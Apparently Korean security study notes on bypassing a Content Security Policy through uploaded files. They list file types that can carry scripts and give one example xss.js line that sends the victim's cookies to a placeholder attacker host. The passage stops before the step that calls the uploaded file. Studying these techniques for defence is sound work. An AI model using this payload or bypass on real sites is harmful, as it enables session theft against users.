6. XSS - mitigations

업로드 기반 CSP 우회 시도 기법

업로드 가능한 파일 종류

• HTML 파일: xss.html 파일을 업로드하여 HTML 코드 실행 시도.
• JavaScript 파일: xss.js 파일 업로드 후 <script src="uploads/xss.js">로 호출.
• 이미지 파일 (GIF, SVG): 일부 이미지 포맷에 스크립트를 숨겨 실행.
• PDF, ZIP 파일: PDF 내 스크립트 삽입, 압축파일 내 악성 HTML/JS 포함.

XSS 시도 예시

• 공격자가 다음과 같은 xss.js를 업로드:

 location.href = "<https://attacker-site.com/steal?cookie=>" + encodeURIComponent(document.cookie);

• 이후 업로드된 파일을 호출: